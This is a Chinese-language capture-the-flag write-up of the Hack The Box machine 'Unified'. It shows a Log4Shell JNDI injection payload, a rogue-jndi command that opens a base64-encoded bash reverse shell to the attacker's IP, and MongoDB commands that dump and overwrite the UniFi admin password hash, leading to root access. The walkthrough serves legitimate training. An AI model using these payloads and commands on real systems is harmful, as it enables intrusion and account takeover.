Unified
1. 扫描结果
6789端口:IBM DB2管理,运行着IBM DB2 Admin 服务。
IBM DB2 是一种数据库管理系统,这个端口可能用于访问 DB2 数据库的管理界面。
8443端口:管理平台,根据相关搜索得知应该是网络设备管理平台,或者监控管理平台。
UniFi Network 是 Ubiquiti Networks 提供的一种网络管理平台,主要用于管理和监控企业级无线网络设备。它可以帮助用户集中管理包括路由器、交换机、无线接入点(AP)、摄像头等设备的配置和状态,适用于小型到中型企业、酒店、校园等场景。
NSCA 是 Nagios 监控系统的一个组件,用于将被监控的服务结果发送到 Nagios 服务器。
2. 访问
如果访问不了,证书错误,重新导入bp证书
第一,看服务相关信息
根据上面得到的信息可以知道,应该是一个业务较为广泛的产品,可以去查看是否存在历史漏洞
第二,看登录模块
可以尝试SQL注入、弱口令
第三,看js、API接口等
3. 历史漏洞 CVE-2021-44228(Log4j2)
注入点:上述请求体中的remember字段
也正因漏洞点存在于请求体的字段中,一些漏洞扫描器无法灵活适配,因此无法发现漏洞;目前就我看来,Xray的被动扫描会稍显智能
手动注入payload ${jndi:ldap://ip/dir}
LDAP:轻量级目录访问协议,默认端口为389
先测试是否存在漏洞
确实收到ldap协议请求,可以确定存在漏洞
攻击流程
-
Linux中能够捕捉监听的工具:tcpdump
-
通过rogue-jndi开启本地LDAP服务(依赖Java和maven环境)
-
监听jndi注入的命令所使用的反弹shell端口
-
实施jndi攻击
切换Java版本:update-alternative --config java
maven安装完成
jndi注入工具:git clone https://github.com/veracode-research/rogue-jndi.git
编译 mvn package
编译成功
编译好后生成一个target文件夹
编码:echo "command" | base64
开启本地LDAP服务:java -jar RogueJndi.jar -c "bash -c {echo,<base64_command>}|{base64,-d}|{bash,-i}" -n "<tun0_ip>"
注入payload
拿到shell
找到一个flag
4. 拿到unifi用户的操作系统权限
看当前运行的进程
有docker、mongoDB,查看mongoDB的运行命令
根据已知信息,可以推测mongoDB是unifi默认的后台数据库
查找其他默认信息,得知数据库名通常为ace,常用集合如下:
-
admin:存储用户账户和权限相关信息。
-
device:存储网络设备信息(如接入点、交换机)
-
stat:存储统计数据(如流量和客户端连接历史)
-
event:存储事件记录和日志。
-
guest:存储访客信息。
-
voucher:存储优惠券信息(如果启用了访客门户功能)。
可以重点关注admin集合
利用 --eval 运行一段JavaScript语句,查看集合 mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
对于其中的x_shadow
字段,极有可能保存的是密码的哈希
因此,可以进行以下步骤:
- 利用工具
mkpasswd
生成一段哈希密文
mkpasswd -m sha-512 <password>
- 替换数据库中的数据
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"password_hash"}})'
对这段哈希进行解析:
-
$6$ 表示哈希算法是 SHA-512。
-
DGCMKG61YxYGpbtB 是加盐值(Salt),防止彩虹表攻击。
-
lCE5VMRYhO6zu2WVeEjV/...... 经过 SHA-512 加密的哈希值。
5. 无法直接提权,转而拿到Unifi管理平台的管理员权限
在系统设置 -> Site中,发现root用户的ssh密码
成功登录
拿到root.txt
总结
过程还是相对曲折的,拿到普通用户权限之后,没法直接提权;需要通过数据库,拿到管理平台的管理员凭证,再从管理平台拿到root的密码。如果不熟悉Unifi管理平台功能,很难想到这个思路。
标签:Unified,HTB,漏洞,--,MongoDB,数据库,jndi,哈希,注入 From: https://www.cnblogs.com/ki-playground/p/18583372